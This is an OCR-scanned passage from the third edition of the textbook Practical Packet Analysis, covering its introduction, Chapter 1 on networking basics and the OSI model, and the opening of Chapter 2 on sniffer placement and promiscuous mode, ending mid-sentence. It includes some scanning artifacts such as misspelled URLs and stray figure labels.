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INTRODUCTION 


This third edition of Practical Packet 
Analysis was written and edited over the 
course of a year and a half, from late 2015 





to early 2017, approximately 6 years after the 
second edition’s release and 10 years since publica- 
tion of the original. This book contains a significant 


amount of new content, with completely new capture files and scenarios 
and an entirely new chapter covering packet analysis from the command 
line with TShark and tcpdump. If you liked the first two editions, then 
you'll like this one. It’s written in the same tone and breaks down explana- 
tions in a simple, understandable manner. If you were hesitant to try out 
the last two editions because they didn’t include the latest information on 
networking or Wireshark updates, you’ll want to read this one because of 
the expanded content on new network protocols and updated information 
on Wireshark 2.x. 


xviii 


Why This Book? 


You may find yourself wondering why you should buy this book as opposed 
to any other book about packet analysis. The answer lies in the title: Practical 
Packet Analysis. Let’s face it—nothing beats real-world experience, and the 
closest you can come to that experience in a book is through practical 
examples with real-world scenarios. 

The first half of this book gives you the knowledge you'll need to 
understand packet analysis and Wireshark. The second half of the book is 
devoted entirely to practical cases that you could easily encounter in day- 
to-day network management. 

Whether you're a network technician, a network administrator, a chief 
information officer, a desktop technician, or even a network security ana- 
lyst, you will benefit greatly from understanding and using the packet analy- 
sis techniques described in this book. 


Concepts and Approach 


Introduction 


I’m generally a really laid-back guy, so when I teach a concept, I try to do so 
in a really laid-back way. This holds true for the language used in this book. 
It’s easy to get lost in technical jargon, but I’ve tried my best to keep things 
as casual as possible. I’ve defined all the terms and concepts clearly and 
without any added fluff. After all, Im from the great state of Kentucky, so I 
try to keep the big words to a minimum. (But you'll have to forgive me for 
some of the backwoods country verbiage you'll find throughout the text.) 

The first several chapters are integral to understanding the rest of the 
book, so make it a point to master the concepts in these pages first. The 
second half of the book is purely practical. You may not see these exact 
scenarios in your workplace, but you will be able to apply the concepts they 
teach in the situations you do encounter. 

Here is a quick breakdown of this book’s contents: 


Chapter 1: Packet Analysis and Network Basics 
What is packet analysis? How does it work? How do you do it? This chap- 
ter covers the basics of network communication and packet analysis. 


Chapter 2: Tapping into the Wire 
This chapter covers the different techniques for placing a packet sniffer 
on your network. 


Chapter 3: Introduction to Wireshark 
Here, we’ll look at the basics of Wireshark—where to get it, how to 
use it, what it does, why it’s great, and all that good stuff. This edition 
includes a new discussion about customizing Wireshark with configura- 
tion profiles. 


Chapter 4: Working with Captured Packets 
After you have Wireshark up and running, you'll want to know how to 
interact with captured packets. This is where you'll learn the basics, 
including new, more detailed sections on following packet streams and 
name resolution. 


Chapter 5: Advanced Wireshark Features 
Once you've learned to crawl, it’s time to take off running. This chap- 
ter delves into the advanced Wireshark features, taking you under the 
hood to show you some of the less apparent operations. This includes 
new, more detailed sections on following packet streams and name 
resolution. 


Chapter 6: Packet Analysis on the Command Line 
Wireshark is great, but sometimes you need to leave the comfort of a 
graphical interface and interact with a packet on the command line. 
This new chapter shows you how to use TShark and tcpdump, the two 
best command line packet analysis tools for the job. 


Chapter 7: Network Layer Protocols 
This chapter shows you what common network layer communication 
looks like at the packet level by examining ARP, IPv4, IPv6, and ICMP. 
To troubleshoot these protocols in real-life scenarios, you first need to 
understand how they work. 


Chapter 8: Transport Layer Protocols 
Moving up the stack, this chapter discusses the two most common 
transport protocols, TCP and UDP. The majority of packets you look 
at will use one of these two protocols, so understanding what they look 
like at the packet level and how they differ is important. 


Chapter 9: Common Upper-Layer Protocols 
Continuing with protocol coverage, this chapter shows you what four 
of the most common upper-layer network communication protocols— 
HTTP, DNS, DHCP, and SMTP—look like at the packet level. 


Chapter 10: Basic Real-World Scenarios 
This chapter contains breakdowns of some common traffic and the 
first set of real-world scenarios. Each scenario is presented in an easy- 
to-follow format, giving the problem, an analysis, and a solution. These 
basic scenarios deal with only a few computers and involve a limited 
amount of analysis—just enough to get your feet wet. 


Chapter 11: Fighting a Slow Network 
The most common problems network technicians hear about generally 
involve slow network performance. This chapter is devoted to solving 
these types of problems. 
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Chapter 12: Packet Analysis for Security 
Network security is the biggest hot-button topic in the information 
technology area. Chapter 12 shows you some scenarios related to solv- 
ing security-related issues with packet analysis techniques. 


Chapter 13: Wireless Packet Analysis 
This chapter is a primer on wireless packet analysis. It discusses the dif- 
ferences between wireless analysis and wired analysis, and it includes 
some examples of wireless network traffic. 


Appendix A: Further Reading 
The first appendix of this book suggests some other reference tools and 
websites that you might find useful as you continue to use the packet 
analysis techniques you've learned. 


Appendix B: Navigating Packets 
If you want to dig a little deeper into interpreting individual packets, 
the second appendix provides an overview of how packet information is 
stored in binary and how to convert binary into hexadecimal notation. 
Then it shows you how to dissect packets that are presented in hexa- 
decimal notation with packet diagrams. This is handy if you’re going to 
spend a lot of time analyzing custom protocols or using command line 
analysis tools. 


How to Use This Book 


I have intended this book to be used in two ways: 


e As an educational text. You'll read chapter by chapter, paying particular 
attention to the real-world scenarios in the later chapters, to gain an 
understanding of packet analysis. 


e = As a reference. There are some features of Wireshark that you won’t use 
very often, so you may forget how they work. Practical Packet Analysis is a 
great book to have on your bookshelf when you need a quick refresher 
on how to use a specific feature. When doing packet analysis for your 
job, you may want to reference the unique charts, diagrams, and meth- 
odologies I’ve provided. 


About the Sample Capture Files 
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All of the capture files used in this book are available from the book’s 

No Starch Press page, hitps://www.nostarch.com/packetanalysis3/. To maximize 
the potential of this book, download these files and use them as you follow 
along with the examples. 


The Rural Technology Fund 


I couldn’t write an introduction without mentioning the best thing to come 
from Practical Packet Analysis. Shortly after the release of the first edition 

of this book, I founded a 501(c)(3) nonprofit organization—the Rural 
Technology Fund (RTF). 

Rural students, even those with excellent grades, often have fewer 
opportunities for exposure to technology than their city or suburban 
counterparts. Established in 2008, the RTF is the culmination of one of 
my biggest dreams. It seeks to reduce the digital divide between rural com- 
munities and their urban and suburban counterparts. The RTF does this 
through targeted scholarship programs, community involvement, donations 
of educational technology resources to classrooms, and general promotion 
and advocacy of technology in rural and high-poverty areas. 

In 2016, the RTF was able to put technology education resources into the 
hands of more than 10,000 students in rural and high-poverty areas in the 
United States. I’m pleased to announce that all of the author’s proceeds 
from this book go directly to the RTF to support these goals. If you want to 
learn more about the Rural Technology Fund or how you can contribute, 
visit our website at hitp://www.ruraltechfund.org/ or follow us on Twitter 
@RuralTechFund. 


Contacting Me 


I’m always thrilled to get feedback from people who read my writing. If you 
would like to contact me for any reason, you can send all questions, com- 
ments, threats, and marriage proposals directly to me at chris@chrissanders 
.org. I also blog regularly at http://www.chrissanders.org/ and can be followed 
on Twitter at @chrissanders88. 


Introduction xxi 


PACKET ANALYSIS AND 
NETWORK BASICS 


A million different things can go wrong 
with a computer network on any given 





day—from a simple spyware infection to 

a complex router configuration error—and 
it’s impossible to solve every problem immediately. 
The best we can hope for is to be fully prepared with 
the knowledge and tools we need to respond to these 
types of issues. 


To truly understand network problems, we go to the packet level. All 
network problems stem from this level, where even the prettiest-looking 
applications can reveal their horrible implementations and seemingly trust- 
worthy protocols can prove malicious. Here, nothing is hidden from us. 
Nothing is obscured by misleading menu structures, eye-catching graphics, 
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or untrustworthy employees—there are no true secrets (only encrypted 
ones). The more we can do at the packet level, the more we can control 
our network and solve problems. This is the world of packet analysis. 

This book dives into this world headfirst. Through real-world scenarios, 
you'll learn how to tackle slow network communication, identify application 
bottlenecks, and even track hackers. By the time you've finished reading 
this book, you should be able to implement packet analysis techniques that 
will help you solve even the most difficult problems in your own network. 

In this chapter, we’ll begin with the basics, focusing on network com- 
munication. The material here will help you gain the tools you'll need to 
examine different scenarios. 


Packet Analysis and Packet Sniffers 
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Packet analysis, often referred to as packet sniffing or protocol analysis, 
describes the process of capturing and interpreting live data as it flows 
across a network in order to better understand what is happening on that 
network. Packet analysis is typically performed by a packet sniffer, a tool used 
to capture raw network data going across the wire. 

Packet analysis can help with the following: 


e Understanding network characteristics 

e Learning who is on a network 

e Determining who or what is utilizing available bandwidth 
e Identifying peak network usage times 

e Identifying malicious activity 


e Finding unsecured and bloated applications 


There are various types of packet-sniffing programs, including 
both free and commercial ones. Each program is designed with differ- 
ent goals in mind. A few popular packet analysis programs are tcpdump, 
OmniPeek, and Wireshark (we’ll primarily be using Wireshark in this 
book). OmniPeek and Wireshark have graphical user interfaces (GUIs), 
while tcpdump is a command line program. 


Evaluating a Packet Sniffer 


You need to consider a number of factors when selecting a packet sniffer, 
including the following: 


Supported protocols All packet sniffers can interpret various proto- 
cols. Most can interpret common network protocols (such as IPv4 and 
ICMP), transport protocols (such as TCP and UDP), and even applica- 
tion protocols (such as DNS and HTTP). However, they may not sup- 
port nontraditional, newer, or more complex protocols (such as IPv6, 
SMBv2, and SIP). When choosing a sniffer, make sure that it supports 
the protocols you're going to use. 


User friendliness Consider the packet sniffer’s layout, ease of instal- 
lation, and general workflow. The program you choose should fit your 
level of expertise. If you have very little packet analysis experience, you 
may want to avoid the more advanced command line packet sniffers 
like tcpdump. On the other hand, if you are a packet analysis veteran, 
you may find an advanced program more useful. As you gain experi- 
ence, you may even find it useful to combine multiple packet-sniffing 
programs to fit particular scenarios. 


Cost The great thing about packet sniffers is that there are many free 
ones that rival any commercial products. The most notable difference 
between commercial products and their free alternatives is their report- 
ing engines. Commercial products typically include some form of fancy 
report generation module, while free applications either lack this capa- 
bility or offer only very limited reporting. 


Program support Even after you have mastered the basics of a sniff- 
ing program, you may occasionally need support to solve new problems 
as they arise. When evaluating available support, look for developer 
documentation, public forums, and mailing lists. Although there may 
be a lack of formalized commercial support for free packet-sniffing 
programs like Wireshark, communities of users and contributors often 
provide active discussion boards, wikis, and blogs to help you get more 
out of your packet sniffer. 


Source code access Some packet sniffers are open source software. 
This means that you can view the source code of the program and, in 
some cases, even suggest and make changes to that source code. If you 
have a very specific or advanced use case for a sniffing application, this 
might be an appealing feature. Most commercial applications don’t pro- 
vide source code access. 


Operating system support Unfortunately, not all packet sniffers sup- 
port every operating system. Choose one that will work on all the oper- 
ating systems that you need to support. If you are a consultant, you may 
be required to capture and analyze packets on a variety of operating 
systems, so you'll need a tool that runs on most of them. Also, keep in 
mind that you'll sometimes capture packets on one machine and review 
them on another. Variations between operating systems may force you 
to use a different application for each device. 


How Packet Sniffers Work 


The packet-sniffing process involves a cooperative effort between software 
and hardware. This process can be broken down into three steps: 


l. 


Collection: First, the packet sniffer collects raw binary data from the 
wire. Typically this is done by switching the selected network interface 
into promiscuous mode. In this mode, the network card can listen to all 
traffic on a network segment, not only the traffic that is addressed to it. 
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2. Conversion: Next, the captured binary data is converted into a read- 
able form. This is as far as most advanced command line packet sniffers 
can go. At this point, the network data can be interpreted only on a 
very basic level, leaving the majority of the analysis to the end user. 


3. Analysis: Finally, the packet sniffer conducts an analysis of the captured 
and converted data. The sniffer verifies the protocol of the captured net- 
work data based on the information extracted and begins its analysis of 
that protocol’s specific features. 


How Computers Communicate 
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To fully understand packet analysis, you must know exactly how computers 
communicate with each other. In this section, we’ll examine the basics of 
network protocols, the Open Systems Interconnections (OSI) model, net- 
work data frames, and the hardware that supports it all. 


Protocols 


Modern networks are made up of a variety of systems running on many dif- 
ferent platforms. To communicate between systems, we use a set of common 
languages called protocols. Common protocols include Transmission Control 
Protocol (TCP), Internet Protocol (IP), Address Resolution Protocol (ARP), 
and Dynamic Host Configuration Protocol (DHCP). A logical grouping of 
protocols that work together is called a protocol stack. 

It might help to think of protocols as similar to the rules that govern 
human language. Every language has rules such as how to conjugate verbs, 
how to greet people, and even how to properly thank someone. Protocols 
work in much the same fashion, allowing us to define how packets should 
be routed, how to initiate a connection, and how to acknowledge the receipt 
of data. 

A protocol can be extremely simple or highly complex, depending on 
its function. Although the various protocols can differ significantly, many 
protocols address the following issues: 


Connection initiation Is it the client or server initiating the connec- 
tion? What information must be exchanged prior to communication? 


Negotiation of connection characteristics Is the communication of 
the protocol encrypted? How are encryption keys transmitted between 
communicating hosts? 


Data formatting How is the data contained within the packet orga- 
nized? In what order is the data processed by the devices receiving it? 


Error detection and correction What happens in the event that a 
packet takes too long to reach its destination? How does a client recover 
if it cannot establish communication with a server for a short duration? 


Connection termination How does one host signify to the other that 
communication has ended? What final information must be transmit- 
ted in order to gracefully terminate communication? 


The Seven-Layer OSI Model 








Protocols are separated according to their 
functions based on the industry-standard OSI 
reference model. This hierarchical model, 
with seven distinct layers, is very helpful for 
understanding network communications. In rant 
Figure 1-1, the layers of the OSI model are on 
the right, and the proper terminology for data 


at each of these layers is on the left. The appli- 


cation layer at the top represents the pro- 


grams used to access network resources. The 


bottom layer is the physical layer, through 


which the network data travels. The protocols 
at each layer work together to ensure data is 
properly handled by the protocols at layers 


directly above and below. 
The OSI model was originally published in 1983 by : 
the International Organization for Standardization 


(ISO) as a document called ISO 7498. The OSI 
model is no more than an industry-recommended 
standard. Protocol developers are not required to fol- 

low it exactly. In fact, the OSI model is not the only Figure 1-1: A hierarchical 
networking model; for example, some people prefer view of the seven layers of 
the Department of Defense (DoD) model, also known the OSI model 
as the TCP/IP model. 

















Each OSI model layer has a specific function, as follows: 





Application layer (layer 7) The topmost layer of the OSI model pro- 
vides a means for users to access network resources. This is the only 
layer typically seen by end users, as it provides the interface that is the 
base for all of their network activities. 


Presentation layer (layer 6) This layer transforms the data it receives 

into a format that can be read by the application layer. The data encod- 
ing and decoding done here depends on the application layer protocol 

that is sending or receiving the data. The presentation layer also handles 
several forms of encryption and decryption used to secure data. 


Session layer (layer 5) This layer manages the dialogue, or session, 
between two computers. It establishes, manages, and terminates this 
connection among all communicating devices. The session layer is 
also responsible for establishing whether a connection is duplex (two- 
way) or half-duplex (one-way) and for gracefully closing a connection 
between hosts rather than dropping it abruptly. 

Transport layer (layer 4) The primary purpose of the transport layer 
is to provide reliable data transport services to lower layers. Through 
flow control, segmentation/desegmentation, and error control, the 
transport layer makes sure data gets from point to point error-free. 
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Because ensuring reliable data transportation can be extremely cum- 
bersome, the OSI model devotes an entire layer to it. The transport 
layer utilizes both connection-oriented and connectionless protocols. 
Certain firewalls and proxy servers operate at this layer. 


Network layer (layer 3) This layer, one of the most complex of the 
OSI layers, is responsible for routing data between physical networks. It 
sees to the logical addressing of network hosts (for example, through 
an IP address). It also handles splitting data streams into smaller frag- 
ments and, in some cases, error detection. Routers operate at this layer. 


Data link layer (layer 2) This layer provides a means of transporting 
data across a physical network. Its primary purpose is to provide an 
addressing scheme that can be used to identify physical devices (for 
example, MAC addresses). Bridges and switches are physical devices 
that operate at the data link layer. 


Physical layer (layer 1) The layer at the bottom of the OSI model is 
the physical medium through which network data is transferred. This 
layer defines the physical and electrical nature of all hardware used, 
including voltages, hubs, network adapters, repeaters, and cabling spec- 
ifications. The physical layer establishes and terminates connections, 
provides a means of sharing communication resources, and converts 
signals from digital to analog and vice versa. 


A common mnemonic device for remembering the layers of the OSI model is Please 
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Do Not Throw Sausage Pizza Away. The first letter of each word refers to each 
layer of the OSI model, starting with the first layer. 


Table 1-1 lists some of the more common protocols used at each layer of 
the OSI model. 


Table 1-1: Typical Protocols Used at Each Layer of the OSI Model 


Layer Protocols 

Application HTTP, SMTP, FTP, Telnet 

Presentation ASCII, MPEG, JPEG, MIDI 

Session NetBIOS, SAP, SDP, NWLink 
Transport TCP, UDP, SPX 

Network IP, IPX 

Data link Ethernet, Token Ring, FDDI, AppleTalk 
Physical wired, wireless 


Although the OSI model is no more than a recommended standard, 
you should know it by heart as it provides a useful vocabulary for thinking 
about and describing network problems. As we progress through this book, 
you will find that router issues soon become “layer 3 problems” and soft- 
ware issues are readily recognized as “layer 7 problems.” 


A colleague once told me about a user who complained that he could not access a net- 
work resource. The issue was the result of the user’s entering an incorrect password. 
My colleague referred to this as a layer 8 issue. Layer 8 is the unofficial user layer. 
This term is commonly used among those who live at the packet level. 


Data Flow Through the OSI Model 


The initial data transfer on a network begins at the application layer of the 
transmitting system. Data works its way down the seven layers of the OSI 
model until it reaches the physical layer, at which point the physical layer of 
the transmitting system sends the data to the receiving system. The receiv- 
ing system picks up the data at its physical layer, and the data proceeds up 
the layers of the receiving system to the application layer at the top. 

Each layer in the OSI model is capable of communicating only with the 
layers directly above and below it. For example, layer 2 can send and receive 
data only from layers 1 and 3. 

None of the services provided by various protocols at any given level 
of the OSI is redundant. For example, if a protocol at one layer provides 
a particular service, then no other protocol at any other layer will provide 
this same service. Protocols at different levels may have features with similar 
goals, but they will function a bit differently. 

Protocols at corresponding 


layers on the sending and receiv- z 
ing devices are complementary. 

So, for example, if a protocol at [PEE [FE 
layer 7 of the sending device is 
responsible for formatting the 

data being transmitted, the cor- 


responding protocol at layer 7 of 


the receiving device is expected 


to be responsible for reading that 


formatted data. 
Figure 1-2 is a graphical rep- 

resentation of the OSI model as 

it relates to two communicating 


devices. You can see communica- 


tion going from top to bottom 
on one device and then reversing 
when it reaches the second device. 

Data Encapsulation u 


The protocols at different layers of Figure 1-2: Protocols working at the same 
the OSI model pass data between layer on both the sending and receiving 


each other with the aid of data systems 
encapsulation. Each layer in the 
stack is responsible for adding a 
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header or footer—extra bits of information that allow the layers to communi- 
cate—to the data being transferred. For example, when the transport layer 
receives data from the session layer, the transport layer adds its own header 
information to that data before passing it to the network layer. 

The encapsulation process creates a protocol data unit (PDU), which 
includes the data being sent and all header or footer information added 
to it. As data moves down the OSI model and the various protocols add 
header and footer information, the PDU changes and grows. The PDU is in 
its final form when it reaches the physical layer, at which point it is sent to 
the destination device. The receiving device strips the protocol headers and 
footers from the PDU as the data climbs up the OSI layers in the reverse of 
the order they were added. Once the PDU reaches the top layer of the OSI 
model, only the original application layer data remains. 


The OSI model uses specific terms to describe packaged data at each layer. The physi- 
cal layer contains bits, the data link layer contains frames, the network layer contains 
packets, and the transport layer contains segments. The top three layers simply use the 
term data. This nomenclature isn’t used much in practice, so we'll generally just use 
the term packet to refer to a complete or partial PDU that includes header and footer 
information from a few or many layers of the OSI model. 


To illustrate how encapsulation of data works, we’ll look at a simpli- 
fied practical example of a packet being built, transmitted, and received 
in relation to the OSI model. Keep in mind that as analysts, we don’t often 
talk about the session or presentation layers, so those will be absent in this 
example (and the rest of this book). 

In this scenario, we are attempting to browse to hitp://www.google.com/. 
First, we must generate a request packet that is transmitted from our source 
client computer to the destination server computer. This scenario assumes 
that a TCP/IP communication session has already been initiated. Figure 1-3 
illustrates the data encapsulation process in this example. 

We begin on our client computer at the application layer. We are brows- 
ing to a website, so the application layer protocol being used is HTTP; the 
HTTP protocol will issue a command to download the file index.himl from 
google.com. 


In practice, the browser will request the website document root first, signified by a for- 
ward slash (/). When the web server receives this request, it will redirect the browser to 
whatever file it is configured to serve upon receiving a document root request. This is 
usually something like index.html or index.php. We'll cover this more in Chapter 9 
when we discuss HTTP. 


Once our application layer protocol has sent the command, our concern 
is with getting the packet to its destination. The data in our packet is passed 
down the OSI stack to the transport layer. HTTP is an application layer pro- 
tocol that uses (or sits on) TCP, so TCP serves as the transport layer protocol 
used to ensure reliable delivery of the packet. A TCP header is generated 


and added to the PDU, as shown in the transport layer of Figure 1-3. This 
TCP header includes sequence numbers and other data that are appended 
to the packet, ensuring that the packet is properly delivered. 
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Figure 1-3: A graphical representation of encapsulation of data between client and server 





We often say that one protocol “sits on” or “rides on” another protocol because of the 
top-down design of the OSI model. An application protocol such as HTTP provides a 
particular service and relies on TCP to ensure reliable delivery of its service. Both of 
those services rely on the IP protocol at the network level to address and deliver their 
data. Therefore, HTTP sits on TCP, which sits on IP. 


Having done its job, TCP hands the packet off to IP, which is the 
layer 3 protocol responsible for the logical addressing of the packet. IP 
creates a header containing logical addressing information, adds it to the 
PDU, and passes the packet along to the Ethernet on the data link layer. 
Physical Ethernet addresses are stored in the Ethernet header. The packet 
is now fully assembled and passed to the physical layer, where it is transmit- 
ted as zeros and ones across the network. 

The completed packet traverses the network cabling system, eventu- 
ally reaching the Google web server. The web server begins by reading the 
packet from the bottom up, meaning that it first reads the data link layer, 
which contains the physical Ethernet addressing information that the 
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network card uses to determine that the packet is intended for a particu- 
lar server. Once this information is processed, the layer 2 information is 
stripped away, and the layer 3 information is processed. 

The layer 3 IP addressing information is read to ensure that the packet 
is properly addressed and is not fragmented. This data is also stripped away 
so that the next layer can be processed. 

Layer 4 TCP information is now read to ensure that the packet has 
arrived in sequence. Then the layer 4 header information is stripped away 
to leave only the application layer data, which can be passed to the web 
server application hosting the website. In response to this packet from the 
client, the server should transmit a TCP acknowledgment packet so the 
client knows its request was received, followed by the index.html file. 

All packets are built and processed as described in this example, 
regardless of which protocols are used. But at the same time, keep in mind 
that not every packet on a network is generated from an application layer 
protocol, so you will see packets that contain only information from layer 2, 
3, or 4 protocols. 


Network Hardware 


Now it’s time to look at network hardware, where the dirty work is done. 
We’ll focus on just a few of the more common pieces of network hardware: 
hubs, switches, and routers. 


Hubs 


A hub is generally a box with multiple RJ-45 ports, like the NETGEAR hub 
shown in Figure 1-4. Hubs range from very small 4-port devices to larger 
48-port devices designed for rack mounting in a corporate environment. 


NETGEAR oo 





Figure 1-4: A typical 4-port Ethernet hub 


Because hubs can generate a lot of unnecessary network traffic and are 
capable of operating only in half-duplex mode (they cannot send and receive 
data at the same time), you won’t typically see them used in most modern 
or high-density networks; switches are used instead (discussed in the next 
section). However, you should know how hubs work, since they will be very 
important to packet analysis when using the “hubbing out” technique dis- 
cussed in Chapter 2. 

A hub is no more than a repeating device that operates on the physical 
layer of the OSI model. It takes packets sent from one port and trans- 
mits (repeats) them to every other port on the device, and it’s up to the 


receiving device to accept or reject each packet. For example, if a computer 
on port | of a 4-port hub needs to send data to a computer on port 2, the 
hub sends those packets to ports 2, 3, and 4. The clients connected to ports 
3 and 4 examine the destination Media Access Control (MAC) address field 
in the Ethernet header of the packet and see that the packet is not for them, 
so they drop (discard) the packet. Figure 1-5 illustrates an example in which 
computer A is transmitting data to computer B. When computer A sends 
this data, all computers connected to the hub receive it. However, only com- 
puter B actually accepts the data; the other computers discard it. 
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Figure 1-5: The flow of traffic when computer A transmits 
data to computer B through a hub 


As an analogy, suppose that you sent an email with the subject line 
“Attention all marketing staff” to every employee in your company, rather 
than to only those people who work in the marketing department. The mar- 
keting department employees see the email is for them and open it. The 
other employees see it’s not for them and discard it. You can see how this 
approach to communication would result in a lot of unnecessary traffic and 
wasted time, yet this is exactly how a hub functions. 

The best alternatives to hubs in production and high-density networks 
are switches, which are full-duplex devices that can send and receive data 
synchronously. 


Switches 


Like a hub, a switch is designed to repeat packets. However, unlike a hub, 
rather than broadcasting data to every port, a switch sends data to only the 
computer for which the data is intended. Switches look just like hubs, as 
shown in Figure 1-6. 
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Chapter 1 





Figure 1-6: A rack-mountable 48-port Ethernet switch 


Several larger switches on the market, such as Cisco-branded ones, are 
managed via specialized, vendor-specific software or web interfaces. These 
switches are commonly referred to as managed switches. Managed switches 
provide several features that can be useful in network management, includ- 
ing the ability to enable or disable specific ports, view port statistics, make 
configuration changes, and remotely reboot. 

Switches also offer advanced functionality for handling transmitted 
packets. To be able to communicate directly with specific devices, switches 
must be able to uniquely identify devices based on their MAC addresses, 
which means that they must operate on the data link layer of the OSI model. 

Switches store the layer 2 address of every connected device in a CAM 
table, which acts as a kind of traffic cop. When a packet is transmitted, the 
switch reads the layer 2 header information in the packet and, using the 
CAM table as reference, determines to which port(s) to send the packet. 
Switches send packets only to specific ports, thus greatly reducing network 
traffic. 

Figure 1-7 illustrates traffic flow through a switch. In this figure, com- 
puter A is sending data to only the intended recipient: computer B. Multiple 
conversations can happen on the network at the same time, but informa- 
tion is communicated directly between the switch and intended recipient, 
not between the switch and all connected computers. 
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Figure 1-7: The flow of traffic when computer A transmits 
data to computer B through a switch 


Routers 


A router is an advanced network device with a much higher level of function- 
ality than a switch or a hub. A router can take many shapes and forms, but 
most devices have several LED indicator lights on the front and a few net- 
work ports on the back, depending on the size of the network. Figure 1-8 
shows an example of a small router. 
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Figure 1-8: A low-level Enterasys router suitable for use in a small to midsized network 


Routers operate at layer 3 of the OSI model, where they are responsible 
for forwarding packets between two or more networks. The process used by 
routers to direct the flow of traffic among networks is called routing. Several 
types of routing protocols dictate how different types of packets are routed 
to other networks. Routers commonly use layer 3 addresses (such as IP 
addresses) to uniquely identify devices on a network. 

A good way to illustrate the concept of routing is to use the analogy 
of a neighborhood with several streets. Think of the houses, with their 
addresses, as computers. Then think of each street as a network segment. 
Figure 1-9 illustrates this comparison. From your house, you can easily go 
visit your neighbors in the other houses on the same street by walking in a 
straight line from your front door to theirs. In the same way, a switch allows 
communication among all computers on a network segment. 

However, communicating with a neighbor who lives on another street 
is like communicating with a computer that is not on the same segment. 
Referring to Figure 1-9, lets say that you're sitting at 502 Vine Street and 
need to get to 206 Dogwood Lane. In order to do this, you must first turn 
onto Oak Street and then turn onto Dogwood Lane. Think of this as cross- 
ing network segments. If the device at 192.168.0.3 needs to communicate 
with the device at 192.168.0.54, it must cross a router to get to the 10.100.1.x 
network and then cross the destination network segment’s router before it 
can get to the destination network segment. 

The size and number of routers on a network will typically depend 
on the network’s size and function. Personal and home office networks 
may have only a small router located at the edge of the network. A large 
corporate network might have several routers spread throughout various 
departments, all connecting to one large central router or layer 3 switch 
(an advanced type of switch that also has built-in functionality to act as a 
router). 
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Figure 1-9: Comparison of a routed network to neighborhood streets 
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As you look at more and more network diagrams, you will come to 
understand how data flows through these various points. Figure 1-10 shows 
the layout of a very common form of routed network. In this example, two 
separate networks are connected via a single router. If a computer on net- 
work A wishes to communicate with a computer on network B, the transmit- 
ted data must go through the router. 
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Figure 1-10: The flow of traffic when computer A on one network transmits data to com- 
puter X on another network through a router 


Chapter 1 


Traffic Classifications 


Network traffic can be classified as one of three types: broadcast, multicast, 
and unicast. Each classification has a distinct characteristic that determines 
how packets in that class are handled by networking hardware. 


Broadcast Traffic 


A broadcast packet is a packet that’s sent to all ports on a network segment, 
regardless of whether a given port is a hub or switch. 

There are layer 2 and layer 3 forms of broadcast traffic. On layer 2, the 
MAC address ff:ff:ff:ff:ff:ff is the reserved broadcast address, and any traffic 
sent to this address is broadcast to the entire network segment. Layer 3 also 
has a specific broadcast address, but it varies based on the network address 
range in use. 

The highest possible IP address in an IP network range is reserved for 
use as the broadcast address. For example, if your computer has an address 
of 192.168.0.20 and a 255.255.255.0 subnet mask, then 192.168.0.255 is the 
broadcast address (more on IP addressing in Chapter 7). 

The extent to which broadcast packets can travel is called the broadcast 
domain, which is the network segment where any computer can directly 
transmit to another computer without going through a router. In larger net- 
works with multiple hubs or switches connected via different media, broad- 
cast packets transmitted from one switch reach all the ports on all the other 
switches on the network, as the packets are repeated from switch to switch. 
Figure 1-11 shows an example of two broadcast domains on a small network. 
Because each broadcast domain extends until it reaches the router, broad- 
cast packets circulate only within this specified broadcast domain. 
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Figure 1-11: A broadcast domain extends to everything behind the current routed 
segment. 
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Our earlier neighborhood analogy provides good insight into how 
broadcast domains work, too. You can think of a broadcast domain as being 
like a neighborhood street where all your neighbors are sitting on their 
front porch. If you stand on your front porch and yell, the people on your 
street will be able to hear you. However, if you want to talk to someone on 
a different street, you need to find a way to speak to that person directly, 
rather than broadcasting (yelling) from your front porch. 


Multicast Traffic 


Multicast is a means of transmitting a packet from a single source to mul- 
tiple destinations simultaneously. The goal of multicasting is to use as little 
bandwidth as possible. The optimization of this traffic lies in that a stream 
of data is replicated fewer times along its path to its destination. The exact 
handling of multicast traffic is highly dependent on its implementation in 
individual protocols. 

The primary method of implementing multicast traffic is via an 
addressing scheme that joins the packet recipients to a multicast group. 
This is how IP multicast works. This addressing scheme ensures that the 
packets cannot be transmitted to computers to which the packets are not 
destined. In fact, IP devotes an entire range of addresses to multicast. If 
you see an IP address in the 224.0.0.0 to 239.255.255.255 range, it is most 
likely handling multicast traffic because these ranges are reserved for that 
purpose. 


Unicast Traffic 


A unicast packet is transmitted from one computer directly to another. The 
details of how unicast functions are dependent on the protocol using it. For 
example, consider a device that wishes to communicate with a web server. 
This is a one-to-one connection, so this communication process would 
begin with the client device transmitting a packet to only the web server. 


Final Thoughts 


Chapter 1 


This chapter covered the basics of networking that you need as a founda- 
tion for packet analysis. You must understand what is going on at this level 
of network communication before you can begin troubleshooting network 
issues. In Chapter 2, we will look at multiple techniques for capturing the 
packets you want to analyze. 





TAPPING INTO THE WIRE 


A key decision for effective packet analy- 
sis is where to physically position a packet 
sniffer to appropriately capture the data. 
Packet analysts often refer to placing the 
packet sniffer as sniffing the wire, tapping the network, 


or tapping into the wire. 


Unfortunately, sniffing packets isn’t as simple as plugging a laptop into 
a network port and capturing traffic. In fact, it’s sometimes more difficult to 
place a packet sniffer on a network than it is to actually analyze the packets. 
Sniffer placement is challenging because devices can be connected using a 
large variety of networking hardware. Figure 2-1 illustrates a typical situa- 
tion. Because the devices on a modern network (switches and routers) each 
handle traffic differently, you must take into account the physical setup of 
the network you are analyzing. 

The goal of this chapter is to help you develop an understanding of 
packet sniffer placement in a variety of different network topologies. But 
first, let’s look at how we’re able to see all the packets that cross the wire 
we're tapping into. 
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Figure 2-1: Placing your sniffer on the network can be challenging when there are many 
connections, and getting the data you want can be tricky. 


Living Promiscuously 


Chapter 2 


Before you can sniff packets on a network, you need a network interface 
card (NIC) that supports a promiscuous mode driver. Promiscuous mode is 
what allows a NIC to view all packets crossing the wire. 

As you learned in Chapter 1, with network broadcast traffic, it’s com- 
mon for devices to receive packets that are not actually destined for them. 
For example, the Address Resolution Protocol (ARP), a crucial fixture on 
any network that we’ll examine in depth in Chapter 7, is used to determine 
which MAC address corresponds to a particular IP address. To find the 
matching MAC address, a device sends an ARP broadcast packet to every 
device on its broadcast domain in hopes that the correct one will respond. 

A broadcast domain (the network segment where any computer can 
directly transmit to another computer without going through a router) 
can consist of several devices, but only the correct recipient device on that 
domain should be interested in the ARP broadcast packet that’s transmit- 
ted. It would be terribly inefficient for every device on the network to pro- 
cess the ARP broadcast packet. Instead, if the packet is not destined for the 
device and therefore isn’t useful to it, the device’s NIC discards the packet 
rather than passing it to the CPU for processing. 

Discarding packets not destined for the receiving host improves pro- 
cessing efficiency, but it’s not so great for packet analysts. As analysts, we 
